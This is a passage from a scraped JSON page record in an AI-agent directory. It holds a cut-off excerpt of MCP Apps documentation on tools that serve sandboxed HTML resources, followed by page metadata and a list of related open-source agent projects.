[Testing](#testing)\n- [When to Use](#when-to-use)\n- [Client Support](#client-support)\n\n## Architecture\n\nMCP Apps combine two MCP primitives: a **tool** that declares a UI resource in its metadata, and a **resource** that serves HTML rendered in a sandboxed iframe.\n\n### Flow\n\n1. **Tool registration**: Tool includes `_meta.ui.resourceUri` pointing to a `ui://` resource\n2. **UI preloading**: Host can preload the resource before the tool is called (enables streaming inputs to the app)\n3. **Resource fetch**: Host fetches the HTML from the server via `resources/read`\n4. **Sandboxed rendering**: Hos"}],"languages":[],"docsSourceLabel":"CLAWHUB","editorialOverview":null,"editorialQuality":{"score":100,"threshold":65,"status":"thin","wordCount":1739,"uniquenessScore":42,"reasons":["uniqueness-below-45"]}},"media":{"evidence":{"source":"no-media","verified":false,"confidence":"low","updatedAt":"2026-10-09T15:05:01.290Z","emptyReason":"No screenshots, media assets, or demo links are available."},"primaryImageUrl":null,"mediaAssetCount":0,"assets":[],"demoUrl":null},"ownerResources":{"evidence":{"source":"unclaimed","verified":false,"confidence":"low","updatedAt":"2026-10-09T15:05:01.290Z","emptyReason":"This page has not been claimed by the agent owner."},"hasCustomPage":false,"customPageUpdatedAt":null,"customLinks":[],"structuredLinks":{"docsUrl":null,"demoUrl":null,"supportUrl":null,"pricingUrl":null,"statusUrl":null},"customPage":null},"relatedAgents":{"evidence":{"source":"protocol-neighbors","verified":false,"confidence":"medium","updatedAt":"2026-10-10T00:17:10.178Z","emptyReason":null},"items":[{"id":"8ebccd8e-3863-4187-8355-c3f14e1f9edf","entityType":"agent","canonicalPath":"/agent/iofficeai-aionui","slug":"iofficeai-aionui","name":"AionUi","description":"Free, local, open-source 24/7 Cowork app and OpenClaw for Gemini CLI, Claude Code, Codex, OpenCode, Qwen Code, Goose CLI, Auggie, and more | 🌟 Star if you like it!","url":"https://github.com/iOfficeAI/AionUi","homepage":"https://www.aionui.com","source":"GITHUB_REPOS","protocols":["MCP","OPENCLAW"],"capabilities":[],"safetyScore":100,"overallRank":70,"updatedAt":"2026-10-09T19:11:12.944Z","createdAt":"2026-02-25T03:38:16.584Z","downloads":null},{"id":"b917f68a-ebff-438e-84f8-3f4b2494c0bc","entityType":"agent","canonicalPath":"/agent/activepieces-activepieces","slug":"activepieces-activepieces","name":"activepieces","description":"AI Agents & MCPs & AI Workflow Automation • (~400 MCP servers for AI agents) • AI Automation / AI Agent with MCPs • AI Workflows & AI Agents • MCPs for AI Agents","url":"https://github.com/activepieces/activepieces","homepage":"https://www.activepieces.com","source":"GITHUB_REPOS","protocols":["OPENCLAW"],"capabilities":[],"safetyScore":100,"overallRank":70,"updatedAt":"2026-04-15T02:22:12.426Z","createdAt":"2026-02-25T03:38:12.412Z","downloads":null},{"id":"5cb26759-3a39-483f-94cf-276a98c13bb8","entityType":"agent","canonicalPath":"/agent/cherryhq-cherry-studio","slug":"cherryhq-cherry-studio","name":"cherry-studio","description":"AI productivity studio with smart chat, autonomous agents, and 300+ assistants. Unified access to frontier LLMs","url":"https://github.com/CherryHQ/cherry-studio","homepage":"https://cherry-ai.com","source":"GITHUB_REPOS","protocols":["MCP","OPENCLAW"],"capabilities":[],"safetyScore":100,"overallRank":70,"updatedAt":"2026-04-11T14:38:40.986Z","createdAt":"2026-02-25T03:38:19.379Z","downloads":null},{"id":"6f6582d0-5d76-4f0f-b81d-86520247950b","entityType":"agent","canonicalPath":"/agent/copilotkit-copilotkit","slug":"copilotkit-copilotkit","name":"CopilotKit","description":"The Frontend for Agents & Generative UI. React + Angular","url":"https://github.com/CopilotKit/CopilotKit","homepage":"https://docs.copilotkit.ai","source":"GITHUB_REPOS","protocols":["OPENCLAW"],"capabilities":[],"safetyScore":100,"overallRank":70,"updatedAt":"2026-03-25T09:50:57.846Z","createdAt":"2026-02-25T03:39:14.617Z","downloads":null}],"links":{"hub":"/agent","source":"/agent/source/clawhub","protocols":[{"label":"OpenClaw","href":"/agent/protocol/openclew"}]}}}